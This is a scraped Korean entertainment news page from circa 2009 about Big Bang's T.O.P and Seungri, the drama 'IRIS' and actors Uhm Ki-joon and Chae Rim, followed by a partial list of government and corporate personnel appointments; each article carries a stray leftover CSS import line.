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  • 빅뱅vs동방신기, 11월 스크린서 멤버 ‘대격돌’

    빅뱅vs동방신기, 11월 스크린서 멤버 ‘대격돌’

    인기 아이돌그룹 빅뱅의 멤버 탑(본명 최승현) 승리(본명 김승현)와 동방신기의 영웅재중(본명 김재중)이 스크린에서 대결을 펼친다. 한국과 일본의 유명 연출가와 작가 톱스타들이 모인 프로젝트 ‘텔레시네마 7’ 중 탑, 승리가 공동 주연한 ‘19’와 영웅재중이 주연한 영화 ‘천국의 우편배달부’가 내달 12일 극장 개봉을 확정했다. 탑과 승리, 허이재가 함께한 영화 ‘19’는 평범한 19세 남녀 3명이 살인사건에 휘말리는 내용의 서스펜스물이다. KBS 2TV 드라마 ‘아이리스’에서 인상적인 연기를 보이고 있는 탑과 뮤지컬 출연으로 연기력을 다진 승리의 열연이 팬들의 기대를 모으고 있다. 또 ‘천국의 우편배달부’는 영웅재중과 드라마 ‘찬란한 유산’으로 스타덤에 오른 한효주가 연인으로 호흡을 맞춘 작품이다. 극중 영웅재중은 세상을 떠난 이들을 잊지 못한 이승의 사람들이 천국으로 보내는 편지를 전달하는 ‘천국의 우편배달부’ 재준으로 분해 처음으로 연기에 도전한다. 한편 ‘텔레시네마 7’은 내달 5일 개봉하는 강지환 이지아 주연의 ‘내눈에 콩깍지’를 시작으로 ‘천국의 우편배달부’와 ‘19’를 거쳐 ‘트라이앵글’ ‘낙원’ ‘결혼식 후에’ ‘돌멩이의 꿈’ 등이 차례로 공개될 예정이다. 사진 = 서울신문NTN DB / 사진설명 = (위) 승리, 허이재, 탑 (아래) 영웅재중 서울신문NTN 박민경 기자 minkyung@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘아이리스’, 충무로영화제서 베일 벗는다

    ‘아이리스’, 충무로영화제서 베일 벗는다

    2009년 최고의 기대작으로 화제를 모으고 있는 KBS 2TV 새 수목드라마 ‘아이리스’가 제3회 서울충무로국제영화제를 통해 베일을 벗는다. 26일 서울충무로국제영화제 조직위원회는 “국제영화제 기간 동안 한국을 대표하는 유명 배우들과 시민이 만날 수 있는 기회를 만들고 한류문화를 지원한다는 의미에서 ‘아이리스’ 쇼케이스를 준비했다.”고 전했다. 오는 31일 서울 청계광장에서 진행될 ‘아이리스’ 쇼케이스 행사에서는 일본, 헝가리, 한국을 오가며 촬영 중인 드라마의 하이라이트 영상이 최초로 공개된다. 뿐만 아니라 이병헌, 김태희, 정준호, 김승우, 김소연, T.O.P(본명 최승현) 등 드라마에 출연하는 스타들이 총출동해 서울시민들과 만날 예정이다. 한편 ‘아이리스’는 첩보원들의 숨 막히는 액션과 배신, 로맨스를 그린 첩보액션 드라마로 KBS 2TV 수목드라마 ‘아가씨를 부탁해’ 후속으로 오는 10월 첫 방송된다. 사진 = 서울신문NTN DB 서울신문NTN 정병근 기자 oodless@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • “탑은 잘나가는데 넌 뭐냐?”…죽마고우, 독기품다 (인터뷰)

    “탑은 잘나가는데 넌 뭐냐?”…죽마고우, 독기품다 (인터뷰)

    빅뱅 탑(본명 최승현·22)의 죽마고우로 함께 랩퍼의 꿈을 키우던 단짝이 신인 가수로 데뷔했다. 184cm 훤칠한 키에 ‘웃는 상’이 매력적인 핸섬 보이 스피드모션(본명 고재천·22)이 그 주인공. ”빅뱅의 탑과는 중3때 만나 고등학교 시절 단짝으로 지내던 사이에요. 탑은 저에게 있어 랩의 매력을 알게 해준 소중한 친구죠.” ◆ 서원고의 Two Top, 최승현과 고재천 최근 온라인에는 고 1시절 이들이 용인시 서원고 수련회의 장기자랑 무대에서 듀엣으로 랩을 하던 사진이 공개돼 화제를 모았다. ”고1때 한 반이 되면서 더 친해졌어요. 둘다 랩을 좋아했고 패션에 관심이 많아서 급식비를 아껴서 이태원으로 힙합 옷을 사러 다니기도 했죠. 그 사진은 졸업 앨범 뒷편에 ‘추억의 활동란’에 실린 거예요. 당시 반응이 뜨거웠죠. 우린 랩에 있어선 유명인사였어요.” 실제로 싸이월드 미니홈피에 사진을 스캔해 올린 김모 군은 고교 시절 가까이서 지켜본 최승현(탑)과 고재천(스피드모션)의 사이에 대해 장문의 글을 남기기도 했다. 그는 “중학교 때 부터 매일 같이 붙어 다니면서 랩을 하곤 하더니… 지금은 친구로서 너네들이 자랑스럽다.”고 소감을 밝혔다. 또 “바쁘고 힘들겠지만 친구란 사실 잊지 말고 일도 우정도 함께 지켜나가길 바란다.”며 “한 명은 빅뱅의 탑으로, 또 한명은 스피드모션으로… 대중들에게 진한 감동을 줄 수 있는 사람이 되길 바란다.”는 글귀를 남겼다. ◆ 고3, 다른 진로 결정 “빅뱅으로, 대학으로” 두 사람은 고등학교 내내 붙어 다니며 랩에 파묻혀 살았지만 대입을 앞둔 고 3시절 각기 다른 길을 가기로 결정했다. ”승현이(탑)는 랩퍼를 택했고, 저는 부모님의 권유로 대학을 가게 됐어요. 당시 승현이가 그러더군요. ‘재천이 네가 공부를 아주 특별히 잘하는 것이 아니라면 나와 함께 가자’고. 그 후 탑은 빅뱅이 됐고, 저는 사회학과에 진학해 방황이 시작됐죠.” 대학교 1학년을 마친 스피드모션은 못다 이룬 꿈에 가슴이 터질 것 같았다고 한다. 다시 부모님을 설득, 휴학계를 낸 그는 본연의 꿈을 찾기 위해 뛰어들었다. ”과감한 결정은 이 때가 아니면 다시는 못할 것 같았기 때문이에요. 우선 케이블 방송의 리포터에 합격해 연예계에 발을 들여놨죠. 그리고 수많은 가수들을 만나면서 꾸준히 오디션을 봤어요. 제 이름을 건 첫 앨범이 나온 지금, 믿기지가 않네요.” ◆ 탑 “넌 끼 있으니 잘될꺼야” 빅뱅으로 성공을 거둔 후에도 탑은 한 달에 한두번 이상 먼저 전화를 건넬 줄 아는 ‘진정한 친구’였다. ”승현이(탑)는 친구로서 정말 멋지죠. 핸드폰 번호가 자주 바뀌기 때문이라며 꼭 자신이 먼저 전화를 걸어줘요. 제가 ‘빅뱅님~’이라고 부르면 ‘하지마~’하면서 웃고요.” 가수 데뷔를 아푸고 있을 때도 가장 따뜻한 조언을 해 준이도 역시 탑이었다. ”얼마 전에 제가 데뷔했다는 소식을 듣고 전화가 왔어요. ‘넌 끼 있는 녀석이니까 잘 될거야. 재천이 믿는다.’고 하더군요. 별 말 아닌데 가슴이 뜨거워졌죠.” ◆ “탑은 잘나가는데 넌 모냐”…독기 품었다 사실 데뷔를 앞두고 스피드모션을 가장 힘들게 했던 건, 두 사람 사이를 잘 아는 주변 친구들의 ‘가시 돋친 말’들 이었다. ”친구들이 그러더라고요. 같이 랩하던 승현이(탑)은 빅뱅이 되서 저렇게 잘 나가고 있는데, 재천이 넌 모하냐고…. 부끄럽지 않냐고. 가슴 한구석이 아려왔죠. 하지만 원망하지 않았어요. 사실이니까요.” 굳게 다문 입술 사이로 흘린 미소에는 비장함이 서려 있었다. ”탑에 비해서는 시작은 늦었지만 저도 조급하지 않아요. 리포터에서 부터 첫 타이틀 곡 ‘아이 러브 유(I Love You)’를 발표하기 까지…. 저는 차근차근 한 발짝씩 제 꿈을 이루고 있거든요. 승현이(탑)에게 또 제 가족들과 친구들에게 더욱 떳떳하고 당당해지도록, 제 예명 ‘스피드모션’처럼 ‘만능엔터테이너’가 될 때까지 부지런히 움직일 거예요. 노력과 땀은 절대 성공을 배신하지 않으니까요. 지켜봐 주세요!” 서울신문NTN 최정주 기자 joojoo@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 탑 죽마고우 가수데뷔…고1 단짝사진 화제

    탑 죽마고우 가수데뷔…고1 단짝사진 화제

    빅뱅 탑(본명 최승현·22)이 고1 시절, 단짝과 함께 랩을 하던 모습이 공개돼 온라인이 뜨겁다. 사진의 출처는 탑의 모교인 용인시 서원 고등학교의 2003년 졸업 앨범. 일찍이 래퍼의 꿈을 키우던 탑은 고교 첫 수련회 장기자랑 순서에서 뛰어난 랩 실력을 선보여 친구들의 환호를 한 몸에 받았다. 최근 이 사진이 온라인 상 빠르게 퍼져나간 이유는 사진 속 탑의 죽마고우로 알려진 고재천 군(가수 데뷔명 스피드모션)의 가수 입문 소식이 알려지면서 부터다. 두 사람이 모두 모교 출신 가수 임을 자랑스럽게 여긴 서원고 졸업생들은 싸이월드 미니홈피를 통해 이 사진을 옮겨 퍼뜨리며 저마다 탑과 고재천(스피드모션)에 대한 기억을 적어내고 있다. 실제로 사진을 스캔해 올린 김모 군은 고교 시절 지켜본 탑과 고재천(스피드모션)에 대해 장문의 글을 남겼다. 그는 “중학교 때 부터 매일 같이 붙어 다니면서 랩을 하곤 하더니… 지금은 친구로서 너네들이 자랑스럽다.”고 소감을 밝혔다. 또 “바쁘고 힘들겠지만 친구란 사실 잊지 말고 일도 우정도 함께 지켜나가길 바란다.”며 “한 명은 빅뱅의 탑으로, 또 한명은 스피드 모션으로… 대중들에게 진한 감동을 줄 수 있는 사람이 되길 바란다.”는 글귀를 남겼다. 소속사 측에 확인해 본 결과, 중 3때 처음 만난 두 사람은 이후 같은 고등학교에 진학, 고1 때 한 반이 된 후 함께 래퍼의 꿈을 함께 키워온 것으로 알려졌다. 졸업 후 탑은 빅뱅으로, 고재천은 대학 진학을 선택하게 됐지만 음악적, 인간적인 소통을 계속해 왔다. 스피드모션이란 활동명으로 디지털 싱글 ‘I Love You’를 발표하고 지난 주 첫 방송 무대를 치룬 고재천은 뒤늦게 탑과의 인연이 알려져 인기 검색어에 오르고 있다. 서울신문NTN 최정주 기자 joojoo@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 탑 “킬러역, 실제 성격과 달라 연기 어려워”

    탑 “킬러역, 실제 성격과 달라 연기 어려워”

    연기자로 변신한 빅뱅의 탑(본명 최승현·22)이 킬러 배역에 대한 부담감을 털어놨다. 12일 서울 구로동 나인스에비뉴에서 열린 KBS 2TV ‘아이리스’(연출 양윤호 김규태) 제작발표회에 참석한 탑은 배역이 실제 성격과 달라 어려움을 겪고 있다고 털어놨다. ‘아이리스’에서 탑은 오직 표적을 제거하기 위해 존재하는 냉혈한 아이리스 소속 킬러 ‘빅’ 역을 맡았다. 빅은 조직의 명령으로 김현준(이병헌 분)을 암살하기 위해 그를 쫓는 냉혹한 킬러다. 빅은 표적을 없애기 위해서라면 어떠한 수단과 방법도 가리지 않는 피도 눈물도 없는 인물로 그려진다. 이와 관련 탑은 “제 성격은 보기보다 여린 편”이라며 킬러 역에 대한 어려움을 호소했다. 탑은 “드라마 상 배역이 냉혹한 킬러로 그려지고 있지만, 실제 제 성격은 다르다.”며 “보기보다 여린 편이라 배역에 대한 연구가 많이 필요했다.”고 밝혔다. 연기자로 주요 배역을 맡고 본격적인 데뷔를 치르는 것에 대해서 탑은 “부담감이 큰 것이 사실”이라고 말문을 열었다. 탑은 “처음에 아이리스라는 작품을 만나고 부담감이 앞섰다. 하지만 이제는 그 부담감을 책임감으로 바꿔야 할 때가 온 것 같다.”고 각오를 다졌다. 이어 “출연자 중 막내로서 감초 같은 역할을 톡톡히 해내고 싶다.”며 “선배님들이 많은 조언을 해주셨는데 한일 팬들이 많은 관심을 갖고 지켜보고 계시는 만큼 새로운 모습을 보여드릴 수 있도록 최선을 다하겠다.”고 다짐했다. 국내 최초 첩보액션 드라마 ‘아이리스’는 탑 외에도 이병헌, 김태희, 정준호, 김승우, 김소연, 등 초호화 캐스팅과 200억원에 달하는 제작비로 화제를 모으고 있다. 죽음을 뛰어넘는 혹독한 훈련을 거친 최정예 첩보원들로 변신한 6명의 출연자들은 스턴트를 방불케할 고난이도 액션과 사격 연습을 통해 액션 배우로 거듭나고 있다는 제작 측의 후문. 첩보원들의 박진감 넘치는 액션, 로맨스와 배신 등을 그려낼 ‘아이리스’는 지난 3월 일본 아키타현에서 첫 촬영을 시작해 아시아와 유럽을 넘나드는 해외 로케이션을 진행 중이며 올 하반기 브라운관을 찾을 예정이다. 서울신문NTN 최정주 기자 joojoo@seoulntn.com / 사진 = 강정화 기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 엄기준-채림, 짜릿한 기습키스 성공

    엄기준-채림, 짜릿한 기습키스 성공

    엄기준이 채림에게 짜릿한 기습 키스를 성공해 눈길을 끌었다. 엄기준(최승현 역)은 MBC 주말드라마 ‘잘했군 잘했어’(극본 박지현ㆍ연출 김남원 손형석)에서 극중 짝사랑하는 고등학교 시절 과외선생님 채림(이강주 역)를 위해 극장을 통째로 빌려 영상 프러포즈해 입술을 훔치는데 성공했다. 엄기준은 키스 장면만을 모아 스크린에 띄운 뒤 채림에게 관람 시켰다. 채림은 처음에 깜짝 놀라지만 화면에 등장하는 엄기준의 독백에 정신을 집중한다. 엄기준은 극장 대형 화면을 통해 “이강주, 더 이상 아버지 품에서 울지 말고 이 최승현의 품에서 웃어. 행복하게 해줄게. 사랑해 웅~”이라며 감동적인 프러포즈를 한다. 이른 아침에 연신 키스신을 찍은 엄기준과 채림은 서로 어색한 마음에 크게 웃고 말았다는 후문이다. 이미 키스신을 찍었던 경험이 있는 엄기준과 채림은 “떨지는 않았지만 이른 아침부터 키스신을 찍게 돼 민망하다.”는 반응을 보였다. MBC 주말드라마 ‘잘했군 잘했어’는 엄기준의 기습키스로 채림 역시 핑크빛 감정이 싹트면서 새로운 국면을 맞이하게 될 것으로 기대를 모으고 있다. (사진제공 = MBC) 서울신문NTN 김예나 기자 yeah@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘시청률 보증수표’ 정애리·채림 이번에도?

    ‘시청률 보증수표’ 정애리·채림 이번에도?

    출연하는 드라마마다 높을 시청률을 보장하는 탤런트 정애리와 채림이 MBC 새 주말드라마 ‘잘했군 잘했어’에 함께 출연해 드라마에 대한 기대와 관심이 모아지고 있다. 지난주 첫 방송된 MBC ‘잘했군 잘했어’(극본 박지현ㆍ연출 김남원 손형석)에 시청률 흥행 제조 여왕이 두 명이나 포진돼 제작진의 은근한 기대감을 높이고 있다. 바로 KBS 1TV ‘너는 내운명’ KBS 2TV ‘태양의 여자’, SBS ‘아내의 유혹’ 등 출연하는 작품마다 시청률 대박을 이뤄낸 정애리와 MBC ‘이브의 모든 것’에서 열연한 채림이다. 특히 박지현 작가와 의리를 소중하게 여겨 출연을 결심했다는 채림은 세 번째 작품으로 이전 작품들이 모두 흥행을 거둬 이번에도 작가와 찰떡 호흡을 과시하고 있다. 채림은 “박 작가님에게 받은 도움을 이번에는 내가 갚을 수 있었으면 좋겠다.”는 포부를 밝히기도. 극 중 최승현(엄기준 분)의 엄마로 출연하는 정애리는 여자의 내면을 보여주기 위해 사진작가 한상훈(천호진 분)과의 아슬아슬한 사랑의 모습을 소화해 냈다. 자칫 불륜으로 치부될 수 있는 중년의 로맨스를 정애리는 천호진과 안정감 있는 연기력으로 잘 표현해냈다는 평가다. ‘시청률 제조 여왕’으로 불리는 정애리 채림의 출연으로 기대감을 불러 일으키는 MBC 주말드라마 ‘잘했군, 잘했어’는 매주 토, 일요일 오후 7시 55분 방송된다. 서울신문NTN 김예나 기자 yeah@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 엄기준, ‘까칠남’→‘순정남’ 180도 변신

    엄기준, ‘까칠남’→‘순정남’ 180도 변신

    탤런트 엄기준이 MBC 새 주말드라마 ‘잘했군 잘했어’에서 애교만점의 순정파 유쾌남으로 등장해 시청자들에게 호평을 받았다. 엄기준은 MBC 새 주말드라마 ‘잘했군 잘했어’(극본 박지현ㆍ연출 김남원)에서 성격도 사랑도 일방통행인 휘트니스 클럽 사장 최승현 역을 맡아 상대역 채림을 향한 일편단심 애정공세를 퍼붓는다. 이런 모습이 시청자들에게 귀엽고 사랑스럽게 보이며 드라마 첫 회부터 시선을 사로잡은 것. 특히 엄기준은 지난해 방송됐던 KBS 2TV ‘그들이 사는 세상’에서 보여줬던 ‘까칠남’의 이미지를 벗고 180도 다른 ‘유쾌남’ 캐릭터로 완벽 변신. 그는 한 여자밖에 모르는 ‘순정남’의 모습을 맛깔나게 연기하며 보는 이들로 하여금 미소를 짓게 만들었다. 극중 회상 신에서 군 제대를 한 달 앞두고 채림 앞에 나타난 엄기준은 “삼년 동안 변심 안하고 기다려 줘서 고맙다.” 며 군대에서 만든 작은 도끼를 선물했다. 그는 “작은 도끼라고 무시하지마. 제대하면 거침없이 찍어 버릴 거야.” 라고 재미있는 애정공세를 펼치며 채림에게 쉴새없는 애교 작전으로 극에 재미를 불어넣고 있다. 방송을 본 시청자들은 “‘그사세’의 까칠한 모습과 전혀 다른 사랑스러운 매력에 흠뻑 빠져버렸다.”, “채림을 향한 쉴 새 없는 애정공세가 어쩜 그렇게 귀여운지.”, “대한민국 여자들이 꿈꾸는 최고의 이상형이다. 정말 애교 만점 완소남이다.”등의 감상평을 관련 게시판에 올려놓으며 뜨거운 반응을 나타냈다. 현재 엄기준은 MBC 주말드라마 ‘잘했군 잘했어’ 외에도 연극 ‘밑바닥에서’에서 배우 김수로와 함께 무대에 올라 호평 받고 있다. 오는 5월에는 뮤지컬 ‘삼총사’에 달타냥 역으로 캐스팅 돼 브라운관과 무대를 종횡무진 할 것으로 보인다. (사진제공 = sidushq) 서울신문NTN 김예나 기자 yeah@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 채림 “세살 많은 엄기준이 오히려 동생같아”

    채림 “세살 많은 엄기준이 오히려 동생같아”

    탤런트 채림이 엄기준과 ‘연상연하 커플’연기를 선보이는 것과 관련해 솔직한 생각을 내비쳤다. 14일 첫방송되는 MBC ‘잘했군 잘했어’에서 채림은 여주인공 이강주 역을 맡아 연하남 최승현 역의 엄기준과 알콩달콩 사랑을 키워가는 커플연기를 선보인다. 극중 과외 선생님과 제자로 만난 사이지만 승현은 강주를 자신의 여자로 결정하고 무지막지하게 들이댄다. 하지만 실제 동안의 외모를 소유한 채림은 극중 엄기준보다 연상의 여인으로 나오는것과 관련해 “연상의 여자가 연하의 남자를 사귀다 보면 오히려 어려보인다고들 했다. 그러니 제가 약간 동안이라는 얘기를 들어도 이해해 주셔야 한다.”며 활짝 웃었다. 상대역 엄기준과 호흡을 맞춰가고 있는 채림은 “기준 오빠가 저보다 세 살 많다. 하지만 연기 하다보면 꼭 남동생 같다.”며 극중 상황이 재미있다는 듯 미소를 보였다. 채림과 엄기준은 앞으로 드라마에서 달콤한 커플의 모습을 그려내며 극의 재미를 더할 예정이다. 채림은 ‘잘했군 잘했어’의 극본을 맡은 박지현 작가와의 인연에 대해서도 밝혔다. “저는 의리에 의미부여를 많이 하는 편이다. 박지현 작가님과는 ‘사랑해 당신을’, ‘이브의 모든 것’으로 많은 사랑을 받을 수 있었다. 물론 드라마 내용도 마음에 들었지만 이번에는 제가 작품에 힘이 될 수 있다면 좋겠다는 생각을 했다.”며 작품에 출연하게 된 배경을 전했다. 채림이 미혼모 이강주 역을 맡아 세상과 호흡하는 이야기를 전할 MBC 새 주말드라마 ‘잘했군 잘했어’는 14일 첫 방송된다. (사진제공 = MBC) 서울신문NTN 김예나 기자 yeah@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 엄기준, ‘잘했군 잘했어’ 순정파 쾌남 변신

    엄기준, ‘잘했군 잘했어’ 순정파 쾌남 변신

    ‘까칠 매력남’으로 사랑받았던 배우 엄기준이 ‘순정파 쾌남’으로 180도 변신해 색다른 연기를 선보일 예정이다. 엄기준은 MBC 새 주말드라마 ‘잘했군 잘했어’(극본 박지현·연출 김남원)에 한 여자만 바라보는 순정파이자 호통한 성격의 쾌남으로 등장한다. 이전의 KBS 2TV ‘그들이 사는 세상’에서 보여줬던 ‘까칠남’과는 180도 다른 캐릭터로 시청자들의 기대와 관심을 한 몸에 받고 있다. ‘잘했군 잘했어’에서 엄기준이 맡은 최승현 역할은 성격도 사랑도 일방통행인 휘트니스 클럽 사장이다. 최승현은 부족함 없는 가정에서 자라 어머니 정수희(정애리 분)를 끔찍이 생각하고 아끼는 효자로 사랑하는 여자에게 자신의 모든 것을 걸 줄 아는 진정한 훈남이다. 엄기준은 “드라마 ‘잘했군 잘했어’를 통해 주말 안방극장에서 여러분을 찾아뵙게 돼 너무 기쁘고 떨린다. 한편으로는 이전 작품을 통해 보여드렸던 캐릭터와는 정반대의 색깔을 가진 캐릭터를 연기하게 되어 걱정도 된다. 까칠하고 바람기 다분한 면은 전혀 찾아볼 수 없는 순정파에 단순하고 순박한 인물로 꽤 매력적인 캐릭터”라고 맡은 배역을 소개했다. 이어 “이전에 까칠했던 모습은 상상도 못하실 만큼 새로운 캐릭터를 선보이기 위해 많은 노력을 기울이고 있다. 드라마 제목처럼 여러분께 “잘했군, 잘했어”라는 칭찬 들을 수 있도록 최선을 다해 촬영에 임할 테니 많은 응원과 관심 부탁드린다.”고 당부의 말을 덧붙였다. 또 ‘잘했군 잘했어’에는 엄기준과 함께 배우 채림, 김승수가 캐스팅 돼 삼각 러브라인을 형성해 더욱 기대를 모으고 있다. MBC 새 주말드라마 ‘잘했군 잘했어’는 현재 방영되고 있는 MBC ‘내 인생의 황금기’후속으로 오는 3월 중순 첫 방송된다. (사진출처 = 서울신문NTN DB) 서울신문NTN 김예나 기자 yeah@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
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    ■행정안전부 ◇부이사관 파견 △국정과제실시간관리추진단 김경섭△친일반민족행위자재산조사위원회 이희봉△OECD서울센터 김현철△UN거버넌스센터 정순교◇담당관(과장급) 전보△상훈 진영만△윤리 김혜영△기획재정 장수완△규제개혁법무 송재환△성과고객 최장혁◇과장 전보△지식제도 최용범△인사정책 정만석△인사평가 이종민△인력개발기획 박준하△채용관리 최낙영△시험출제 김성겸△연금복지 연원정△인사정보 최승현△재난총괄 강성주△안전정책협력 장만희△자원관리 임상규△정보화지원 김성엽△정보문화 이재천△정보자원정책 김회수△정보화인력개발 문연호△지방성과관리 이완섭<중앙공무원교육원>△교육총괄 강신기△정책교육 박상희<소청심사위원회>△행정 이성인<지방행정연수원>△국제교육협력 양승찬<국가기록원>△표준협력 장명환△보존복원연구 홍성우<과천청사관리소>△운영 전동흔<정부통합전산센터>△보안통신기획 곽병진△자원관리 김동석△운영총괄 김택곤△산업복지 이태형<광주정부통합전산센터>△사회산업 서정두△보안관리 정승도 ■농림수산식품부 ◇고위공무원 <승진>△농촌정책국장 오경태△유통정책단장 김경규△국립종자원장 김창현<전보>△식품산업정책단장 방문규◇승진 <부이사관>△기획재정담당관 김종훈△정책평가팀장 김종철△농업정책과장 이천일△국제협력총괄과장 김남수△농산경영팀장 임정빈△과수화훼팀장 백종호<4급>△인사과 임채록△운영지원과 최영섭△기획재정담당관실 송남근△농업정책과 박상호△농업금융과 이낙휘△농촌사회여성팀 이은정△농산경영팀 이주영△유통정책팀 주원철△수산정책과 임영훈△수산정책과 김동욱△국립농산물품질관리원 강원지원 유통관리과장 김연배△홍보담당관실 이재식△기술정책과 김상경△농업금융과 고경봉△농산경영팀 장영국△식품산업정책팀 전한영△국립농산물품질관리원 맞춤형농정과 한계수△〃 품질검사과 유순환△〃 소비안전과 장맹수△국림식물검역원 검역기획과 한상진△어항과 황철민△정보화지원팀 서홍교△축산물위생팀 김대균△동물방역팀 오순민△국립수의과학검역원 검역검사과 김도순△〃 수입위험평가과 김효룡△운영지원과 강윤석△소비안전팀 김종실△어업정책과 이영직△유어내수면과 최현호△수산통상과 조일환 ■통계청 ◇전보 △기획조정관 문창용 ■여수세계박람회 △기획본부장(겸 전시운영본부장) 윤학배△건설〃(겸 홍보마케팅〃) 강원순△대외협력〃 윤종곤◇과장△감사 백복수△총무과 위원장 비서관 홍종욱△기획총괄 김재철△재정법무 안상렬△조정지원 이희은△사후활용 양동조△전시연출 김현태△U-IT사업 이희영△교통숙박 이재철△건설기획 강희업△민자사업 송명달△환경사업 양재문△국제협력 김동업△해외마케팅 김현종△국내마케팅 정희갑△홍보 오경희△수익사업 박상렬 ■2011대구세계육상대회조직위 ◇본부장△지원 박주환△운영 손상진◇부장△감사담당관 이시백△문화홍보 이창헌△인력정보 박성락△숙박수송 전태환△시설 박성희 ■동부증권 ◇임원 선임 <상무>△제2지역본부장 김남덕◇보임 <본부장>△영업추진(겸 개인고객전략팀장) 허병문<팀장>△DSIP추진TF 김재호△WS영업기획 겸 신사업TF 임창윤△종합기획 장현일<지점장>△동부금융센터 강석윤△도곡 이병진 ■신용보증기금 △부산경남영업본부장 전구중■경희대 <서울캠퍼스>△대학원장 안재욱△의학전문〃(겸 의과대학장) 김영설△치의학전문〃(겸 치과〃) 박준봉△법학전문〃(겸 법과〃) 강희원△경영〃 박상수△행정〃(겸 신문방송국장) 송병록△교육〃 김준형△국제법무〃 이상정△정경대학장 한균태△경영〃 서영호△호텔관광〃 김철원△이과〃 공우석△음악〃 이종영△교무처장 정연교△학생지원〃 심범상△입학관리〃 강제상△대외협력〃(서울/국제 겸직) 김운호△사회교육원장 이기종△개교60주년준비위원회 사무총장 김종회<국제캠퍼스>△정보통신대학원장(겸 전자정보대학장) 백운식△체육〃 장명재△건축〃(겸 토목건축 및 환경·응용화학대학장·테크노공학대학장) 이효성△아트퓨전디자인〃(겸 예술·디자인대학장) 김규현△국제·경영대학장 정진영△체육〃 최영렬△평생교육원장 이용택△취업진로지원처장 선효숙△중앙도서관장 정규진△응용과학대학 준비위원장 김갑성 ■중앙대 △서울캠퍼스 부총장 안국신△안성캠퍼스 〃 하성규△대외·연구〃 박양우△의무〃(겸 의료원장) 하권익△기획·관리본부장 (겸 총무처장) 김창수△대학원장 최경희△사회개발〃 김연명△교육〃(겸 사범대학장) 이일용△신문방송〃(겸 미디어공연영상〃) 이민규△건설〃 박찬식△행정〃(겸 정경대학장) 이규환△정보〃(겸 공과 및 건설〃) 김선근△의약식품〃(겸 약학〃) 김대경△예술〃 이용관△산업·창업경영〃 문태훈△국악교육〃(겸 국악대학장) 김성녀△국제〃(겸 경영전문대학원장 및 경영대학장) 황인태△첨단영상〃 최종수△글로벌인적자원개발〃 이희수△법학전문〃(겸 법과대학장) 장재옥△의학전문〃 장세경△문과대학장 정정호△자연과학〃 최인환△의과〃 백광진△산업과학〃 김정덕△예술〃 황인철△외국어〃 권익호△사회과학〃 나영△생활과학〃 이복희△음악〃 이연화△체육과학〃 박용범△교양학부장 최영진△기획처장 윤경현△제1캠퍼스 교무〃 한상준△제2캠퍼스 교무〃 이종철△제1캠퍼스 학생지원〃 조영금△제2캠퍼스 학생지원〃 방재석△입학〃 박상규△제1캠퍼스 연구지원〃(겸 산학협력단장) 윤기봉△제2캠퍼스 연구지원〃 이정희△대외협력〃 이용근△관리〃 홍성하△사회교육〃 이찬규△중앙도서관장 심귀보 ■기은신용정보 ◇전보 <부실장>△경영관리부 엄주철△정보사업부 신환균△채권관리부 김관호△감사실 안종기△사후관리팀 박희근<지점장>△영등포 최문엽△서부 김지수△광주 박성진△대전 윤복영 ■한전원자력연료 △기술연구원장 박종률△튜브사업단장 정선교△감사실장 이실규◇처장△품질보증 박철주△기획 정승철△관리 황영하△인력개발 안태운△생산관리 권용복△경수로연료 장흥순△중수로연료 강명수△세라믹 이범재△방사선환경 조석주△원전사업기술 권정택△노심설계 정일섭△안전해석 황순택△해외사업 김희재 ■삼성그룹 <삼성전자> ◇경영임원 △부사장 김종중 방인배 신상흥 이인용 정유성△전무 길영준 김준식 박재순 박제승 배경태 백남육 서병삼 손대일 연제훈 이선용 이효종 전용배 조남성 조현탁 조홍식 홍완훈 △상무 강봉구 강주성 김동욱 김상철 김선봉 김승구 김영일 김재현 김준영 박문호 박의수 박철우 박희홍 서기용 서홍범 선희복 신재천 양걸 오영선 오준호 요한 유근익 유재설 전봉주 정준교 최상래 최진원(무선) 최진원(경영전략) 최철 추종석 한재수 황인대 황일 황지호◇연구임원△부사장급 이철환 정칠희△전무급 김진자 김현석 박동건 어길수 최재구△상무급 경계현 김경준 김기철 김준태 도영수 문승환 문용석 민장식 박원주 박진호 송두헌 안영준 오윤제 이병준 이상훈 이성덕 이인호 천강욱 최시영 최재범 최형식 허남 홍근철 홍준일 황규철 황정욱◇전문임원△전무대우 강선명<삼성SDI> ◇경영임원△전무 김동훈 지명찬 현성철△상무 안만현 황성록◇연구임원△상무급 이하영<삼성모바일디스플레이> ◇경영임원△전무 손정민 송백규 유의진 이동훈△상무 노일호 윤경호 이정찬◇연구임원△상무급 김태수◇전문임원△상무대우 손성락<삼성전기> ◇경영임원△전무 강희근 이효범△상무 김학주◇연구임원△상무급 류창섭 최명수 최영식<삼성테크윈> ◇경영임원△부사장 신현목△전무 김영태△상무 김수진 김한선 손재현 하홍◇연구임원△상무급 이우년<삼성코닝정밀유리> ◇경영임원△전무 박원규△상무 박봉모 신동철 이창하◇연구임원△상무급 류제춘<삼성SDS> ◇경영임원△부사장 임영휘△전무 이병헌△상무 박성태 석관수 이재춘 조일묵 지대범◇전문임원△전무대우 유병규△상무대우 김정기<삼성네트웍스> ◇경영임원△상무 황보현<삼성중공업> ◇경영임원△부사장 김서윤 박대영 박중흠△전무 김철년 이재원 이창수 전태흥 한성용△상무 강병석 김정군 남준우 민경환 송기정 이종림 최한일◇연구임원△상무급 서종수<삼성토탈> ◇경영임원△전무 이기환△상무 김병주 김옥수<삼성석유화학> ◇경영임원△전무 안병진<삼성정밀화학> ◇경영임원△전무 박흥열◇연구임원△상무급 이상구<삼성BP화학> ◇경영임원△상무 변경상<삼성생명> ◇경영임원△전무 박영준 윤종정 이상용△상무 김상욱 김세곤 박영목 송병국 신용대 이준건 이창훈 조병익 한수환 한익재<삼성화재> ◇경영임원△부사장 윤용암△전무 